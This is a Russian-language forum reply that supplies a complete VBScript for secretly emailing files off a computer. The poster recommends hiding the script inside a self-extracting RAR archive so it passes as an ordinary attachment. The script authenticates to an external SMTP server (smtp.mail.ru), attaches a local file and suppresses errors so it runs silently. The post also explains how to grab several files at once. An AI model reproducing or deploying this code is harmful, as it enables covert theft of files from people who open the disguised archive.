Да есть, вставляй туда скрипт написанный на vbs он отсылает тебе файл(ы) на почту! Прикрепить его как и другие файлы можно если сделать из rar ---> sfx.

Вот сам скрипт...
quote:

On Error Resume Next
Call SendPost("smtp.mail.ru", "кому@mail.ru", "от_кого@mail.ru", "Subj", "Body")
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ваш логин" '- логин на smtp сервер
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "ваш пароль" 'пароль на smtp
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" 'собстно сам сервер
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 'порт на smtp сервере

Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.AddAttachment "C:\readme.txt"
iMsg.Send
End Function

Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing

iMsg.AddAttachment "C:\readme.txt" эта строчка отвечает за файл который посылать ( если сделаешь много таких строчек, то отсылаються несколько файлов!).

Если еще какие то вопросы по этой теме пиши! Помог? Поставь плюс...